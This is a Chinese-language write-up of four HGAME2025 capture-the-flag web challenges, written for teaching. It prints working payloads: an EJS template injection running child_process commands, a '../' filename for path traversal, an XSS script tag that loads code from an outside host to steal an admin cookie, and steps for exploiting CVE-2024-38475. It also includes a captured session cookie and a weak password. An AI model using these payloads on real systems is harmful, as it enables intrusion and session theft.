hgame2025 第一周 web wp
字数 2270 2025-08-22 12:23:24
HGAME2025 CTF 第一周Web题目解析与教学文档
Level 24 Pacman
题目概述
前端小游戏题目,考察前端代码审计和Base64解码能力。
解题步骤
-
绕过F12限制:
- 直接在浏览器设置中开启开发者工具
- 或在URL前添加
view-source:查看源代码
-
代码审计:
- 在
index.js中发现疑似flag的Base64编码字符串 - 第一个发现的字符串是假flag(干扰项)
- 真实flag位于代码前段的另一个Base64编码字符串:
aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=
- 在
-
解码获取flag:
- 使用Base64解码工具解码上述字符串
- 得到flag:
hgame{u_4re_pacman_m4ster}
关键知识点
- 前端代码审计技巧
- Base64编码识别与解码
- 干扰项的识别与排除
Level 47 BandBomb
题目概述
Node.js应用,考察EJS模板注入漏洞和文件路径穿越漏洞。
解题步骤
-
代码审计:
- 分析提供的
app.js文件 - 发现使用EJS模板引擎(
app.set('view engine', 'ejs')) - 存在
render()函数调用,可能存在模板注入漏洞 rename路由未对输入进行限制,存在路径穿越漏洞
- 分析提供的
-
漏洞利用:
- EJS模板文件默认位于
views目录下 - 通过
rename路由使用../穿越路径覆盖views/mortis.ejs文件 - 使用模板注入payload:
<%= process.mainModule.require('child_process').execSync('id') %>
- EJS模板文件默认位于
-
实际操作:
- 上传任意文件(如
test.txt) - 使用JSON格式数据修改文件名:
{"filename":"../views/mortis.ejs"} - 刷新初始页面触发模板渲染执行命令
- 执行
env命令获取flag
- 上传任意文件(如
关键知识点
- EJS模板注入漏洞原理与利用
- Node.js路径穿越漏洞
- Express框架默认目录结构
- JSON格式请求构造
Level 69 MysteryMessageBoard
题目概述
XSS漏洞利用题目,考察跨站脚本攻击和Cookie窃取。
解题步骤
-
信息收集:
- 发现
/admin路由 - 登录框存在弱密码漏洞
- 发现
-
登录系统:
- 使用用户名
shallot和弱密码888888登录 - 发现留言板功能
- 使用用户名
-
XSS利用:
- 构造XSS payload:
<sCRiPt sRC=//xs.pe/Ywd></sCrIpT> - 让管理员访问包含payload的页面
- 窃取管理员Cookie:
session=MTczODczNjk4OHxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8UM10xoUJICms0NvchVjhygVLnAQtrV5ugbyvPcp0D1E=
- 构造XSS payload:
-
获取flag:
- 使用管理员Cookie访问
/flag路由 - 获取flag:
hgame{W0w_y0u_5r4_9o0d_4t_xss}
- 使用管理员Cookie访问
替代方案(不出网情况)
- 构造XSS让管理员获取flag并输出到留言板
- 解码Base64获取flag内容
关键知识点
- XSS漏洞原理与利用
- Cookie窃取技术
- 弱密码爆破技巧
- 不出网情况下的XSS利用方法
Level 38475 角落
题目概述
Python后端题目,考察Apache重写规则漏洞和SSTI条件竞争漏洞。
解题步骤
-
信息收集:
- 发现
robots.txt和app.conf文件 app.conf显示Apache配置了URL重写规则
- 发现
-
Apache漏洞利用:
- 利用CVE-2024-38475漏洞读取源代码
- 设置
User-Agent: L1nk/头访问/admin/../app.py获取源代码 - 同样方法获取
templates.py文件内容
-
代码审计:
- 发现SSTI漏洞但过滤了
{字符 readmsg()函数存在条件竞争漏洞可能
- 发现SSTI漏洞但过滤了
-
条件竞争利用:
- 第一次调用
readmsg()时文件内容合法 - 快速修改文件内容为SSTI payload
- 第二次调用
readmsg()时读取恶意payload
- 第一次调用
-
编写利用脚本:
- 构造条件竞争脚本快速修改文件内容
- 使用SSTI payload获取flag
关键知识点
- Apache mod_rewrite漏洞利用
- 服务器端模板注入(SSTI)
- 条件竞争漏洞原理
- Python漏洞利用脚本编写
总结与学习要点
-
前端题目:
- 掌握浏览器开发者工具使用技巧
- 熟练识别和解析Base64编码
- 注意代码中的干扰项和真实flag区分
-
Node.js题目:
- 理解EJS模板注入原理
- 掌握路径穿越漏洞利用方法
- 熟悉Express框架默认目录结构
-
XSS题目:
- 掌握XSS payload构造方法
- 了解Cookie窃取技术
- 学习不出网情况下的XSS利用技巧
-
Python后端题目:
- 了解常见Web服务器配置漏洞
- 掌握SSTI漏洞识别与利用
- 学习条件竞争漏洞的利用方法
-
通用技能:
- 代码审计能力培养
- 漏洞利用脚本编写
- 信息收集与目录扫描技巧
通过这四个题目的学习,可以全面掌握Web安全中的常见漏洞类型和利用方法,为进一步的CTF比赛和实际安全测试打下坚实基础。